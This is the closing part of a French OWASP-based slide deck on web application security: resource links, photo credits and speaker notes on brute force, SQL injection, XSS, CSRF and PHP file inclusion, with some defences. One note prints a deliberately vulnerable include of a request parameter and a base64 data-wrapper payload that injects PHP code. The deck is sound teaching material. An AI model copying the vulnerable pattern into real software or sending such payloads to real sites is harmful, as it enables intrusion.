  • 28. Ressources • OWASP : Open Web Application Security Project • Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007 • Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF • http://ha.ckerz.org : Web Application Security Lab • http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix, WebInspect,) • http://www.php.net/manual/security • MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel français spécialisé dans la sécurité informatique
  • 29. Crédits photos • Impact : http://www.flickr.com/photos/dirtyf/3369077142/ • Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/ • Hi Jacking Hot Spot : Luka Skracic • Open : http://www.flickr.com/photos/mag3737/1914076277/ • Pirates : http://www.flickr.com/photos/joriel/3230590513/ • Injections : http://www.flickr.com/photos/limowreck666/223731385/ • Bike air : http://www.flickr.com/photos/dirtyf/3518547212/ • Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/ • Remote : http://www.flickr.com/photos/cayusa/2530412232/

Notes de l'éditeur

  1. \n\n
  2. \n
  3. \n
  4. Questions :\nQui a des notions de s&amp;#xE9;curit&amp;#xE9; ?\nQui d&amp;#xE9;veloppe des sites web c&amp;#xF4;t&amp;#xE9; serveur ?\nQui g&amp;#xE8;re un ou plusieurs sites internet ?\nQui a d&amp;#xE9;j&amp;#xE0; subi des tentatives d&amp;#x2019;attaques ?\nQui a d&amp;#xE9;j&amp;#xE0; eu subi une attaque avec succ&amp;#xE8;s ?\n\nPouvez-vous nous donner votre d&amp;#xE9;finition de la s&amp;#xE9;curit&amp;#xE9; ?\n
  5. The Open Web Application Security Project (OWASP) est une communaut&amp;#xE9; mondiale libre et ouverte dont le but est d&amp;#x2019;am&amp;#xE9;liorer la s&amp;#xE9;curit&amp;#xE9; des applications. Leur mission est de rendre la s&amp;#xE9;curit&amp;#xE9; visible de mani&amp;#xE8;re &amp;#xE0; ce que les developpeurs et les entreprises puissent &amp;#xEA;tre mieux inform&amp;#xE9;s sur les les vrais risques applicatifs li&amp;#xE9;s &amp;#xE0; la s&amp;#xE9;curit&amp;#xE9;. \n\n\n\nTout le monde peut participer &amp;#xE0; l&amp;#x2019;OWASP et tous leurs documents sont publi&amp;#xE9;s sous licence libre.\nL&amp;#x2019;OWASP est une association &amp;#xE0; but non lucratif bien que de nombreuses entreprises sp&amp;#xE9;cialis&amp;#xE9;es dans la s&amp;#xE9;curit&amp;#xE9; ou le logiciel (Microsoft, HP, Nokia, etc.) les soutiennent.\n
  6. Les analyses montrent que 7% des sites web audit&amp;#xE9;s peuvent &amp;#xEA;tre compromis automatiquement. Environ 7.7% des applications avaient des vuln&amp;#xE9;rabilit&amp;#xE9;s hautement critiques d&amp;#xE9;tect&amp;#xE9;es pendant les scans automatis&amp;#xE9;s.\nSi on utilise des m&amp;#xE9;thodes manuelles et des m&amp;#xE9;thodes plus complexes, la probabilit&amp;#xE9; de detecter des vuln&amp;#xE9;rabilit&amp;#xE9;s hautement critiques atteint 96.85%.\n\n
  7. 1. Exemple de la banque : sas de s&amp;#xE9;curit&amp;#xE9;, gardes, cam&amp;#xE9;ras, coffre, combinaison, etc.\n2. Plugins (slide de chris)\n2. Une banque avec une seule porte sera plus simple &amp;#xE0; d&amp;#xE9;fendre que si elle en poss&amp;#xE8;de 10 :)\n3. Si vous laissez la porte d&amp;#x2019;entr&amp;#xE9;e ouverte, ce n&amp;#x2019;est pas pour &amp;#xE7;a que le coffre lui est accessible.\n4. La guichetiere n&amp;#x2019;a pas acc&amp;#xE8;s au coffre\n5. Microsoft qui a longtemps repos&amp;#xE9; sa s&amp;#xE9;curit&amp;#xE9; sur la fait que son code &amp;#xE9;tait ferm&amp;#xE9;\n6. Pouvoir r&amp;#xE9;agir vite en cas d&amp;#x2019;attaque. Facile &amp;#xE0; maintenir et &amp;#xE0; faire &amp;#xE9;voluer.\n7. Pas la peine de mettre 70 cam&amp;#xE9;ras mais ne pas non plus se contenter d&amp;#x2019;une seule &amp;#xE0; l&amp;#x2019;entr&amp;#xE9;e.\n8. Aussi &amp;#xE9;pais que soit les murs de la banque, ils peuvent &amp;#xEA;tre perc&amp;#xE9;s.\n9. User is evil ! Votre nouveau guichetier se nomme peut &amp;#xEA;tre J&amp;#xE9;r&amp;#xF4;me Kerviel :)\n10. On ne va pas exiger un toucher rectal &amp;#xE0; tous les clients de la banque, mais on peut contr&amp;#xF4;ler leur carte d&amp;#x2019;identit&amp;#xE9;.\n
  8. Alors c&amp;#x2019;est comment chez vous ? Parce que chez beaucoup c&amp;#x2019;est ouvert 24h/24 !\nAlors quels sont les points essentiels &amp;#xE0; privil&amp;#xE9;gier lors de la conception de vos applications web ?\n
  9. 1&amp;#xE8;re phase : conna&amp;#xEE;tre son ennemi (RATM) : White Box testing ou Black box testing (Input/Output) : reverse engineering\n2eme phase : Choisir la mani&amp;#xE8;re dont on va lui &amp;#xAB;mettre sa carotte&amp;#xBB;\n\nSQL Injection : le but est d&amp;#x2019;envoyer des requ&amp;#xEA;tes SQL non permises par d&amp;#xE9;faut\nXSS : faire ex&amp;#xE9;cuter du javascript (ou d&amp;#x2019;autres langages) au site distant via les URLs ou les formulaires\nCSRF : modification d&amp;#x2019;URL qui entraine des actions non pr&amp;#xE9;vues sur le site (tr&amp;#xE8;s vicieux)\nExemple d&amp;#x2019;attaque DOS : mettre MySQL en sleep :)\n\nExemples d&amp;#x2019;exploitation : \nUn cas tr&amp;#xE8;s courant est de transformer votre serveur web en relai de spams : votre domaine peut se retrouver blacklister !\nObtention de donn&amp;#xE9;es confidentielles : r&amp;#xE9;cup&amp;#xE9;rer les num&amp;#xE9;ros de carte bleue de vos clients, les login/passwd + emails (exemple Ev Williams de Twitter - ing&amp;#xE9;nieurie sociale)\n\n\n
  10. Comment elles se passent et comment s&amp;#x2019;en prot&amp;#xE9;ger ?\n\nhttp://www.flickr.com/photos/joriel/3230590513/\n
  11. \nhttp://www.flickr.com/photos/codearachnid/2557451631/\n
  12. Test avec un compte root + moulinettes bas&amp;#xE9;es sur des dico\n\n1 mot qui existe dans le dictionnaire peut-&amp;#xEA;tre facilement cass&amp;#xE9; en quelques minutes\n\nSolution : Ajouter un d&amp;#xE9;lai de 5 secondes entre chaque tentative de connexion et verrouiller le compte apr&amp;#xE8;s 10 tentatives infructueuses.\n
  13. \n
  14. Comment se passe l&amp;#x2019;attaque : on teste si les formulaires ou les URLs permettent d&amp;#x2019;injecter du code SQL (un simple string transform&amp;#xE9; en sleep suffit) et si &amp;#xE7;a passe on va chercher &amp;#xE0; effectuer des requ&amp;#xEA;tes pour obtenir des donn&amp;#xE9;es confidentielles (comme votre login, votre email ou votre num&amp;#xE9;ro de CB si c&amp;#x2019;est un site de e-commerce.)\n
  15. \n
  16. Pour PHP, utilisez mysql_real_escape_string() si vous utilisez MySQL, ou utilisez plut&amp;#xF4;t PDO qui ne n&amp;#xE9;cessite pas d&amp;#x2019;&amp;#xE9;chappement.\nne pas utiliser Les fonctions PHP addslashes() ou les fonctions de remplacement de caract&amp;#xE8;res comme str_replace(&quot;&amp;#x2019;&quot;, &quot;&amp;#x2019;&amp;#x2019;&quot;).\n
  17. \n
  18. En 2007 des chercheurs ont estim&amp;#xE9; que 68% des sites web sont ouverts aux attaques XSS\n\nComment se passe l&amp;#x2019;attaque : On recherche des formulaires ou URLs permettant d&amp;#x2019;injecter du code HTML et/ou javascript sur le site, qui impacteront les utilisateurs et/ou les administrateurs.\n\nUsurper l&amp;#x2019;identit&amp;#xE9;, r&amp;#xE9;cup&amp;#xE9;rer des donn&amp;#xE9;es, obtenir des privil&amp;#xE8;ges, envoyer des codes malicieux, rediriger l&amp;#x2019;internaute, \n\nWhere worms of old would do childish things like defacing your site, the new ones are silent and invisible, so you only notice them when they screw up (as this one did) or your site gets removed from Google for having spam and malware on it.\n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. http post : poster quelque chose\n
  25. http://www.flickr.com/photos/cayusa/2530412232/\n
  26. \n
  27. Exemple concret sur une application \n
  28. Un code typique vuln&amp;#xE9;rable:\ninclude $_REQUEST[&apos;filename&amp;#x2019;];\nNot only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is \nhosted upon Windows) due to SMB support in PHP&amp;#x2019;s file system wrappers.\nD&amp;#x2019;autre m&amp;#xE9;thodes d&amp;#x2019;attaques sont possibles via : \n&amp;#xA7; Le chargement de donn&amp;#xE9;es hostiles en fichiers de sessions, fichiers de logs ou via des images (type des lo-\ngiciels de forums)\n&amp;#xA7; L&amp;#x2019;utilisation de flux de compressions ou audios, tels zlib:// ou ogg:// qui n&amp;#x2019;inspectent par la configuration \nde PHP et permettent alors d&amp;#x2019;acc&amp;#xE9;der &amp;#xE0; des ressources distantes m&amp;#xEA;me si la variable allow_url_fopen ou \nallow_url_include est d&amp;#xE9;sactiv&amp;#xE9;e.\n&amp;#xA7; L&amp;#x2019;utilisation de wrappers PHP, tels que des entr&amp;#xE9;es php:// et autre pour passer des donn&amp;#xE9;es en POST plu-\nt&amp;#xF4;t que via un fichier.\nL&amp;#x2019;utilisation de wrappers PHP, comme data:;base64,PD9waHAgcGhwaW5mbygpOz8+\n
  29. \n
  30. \n\n
  31. \n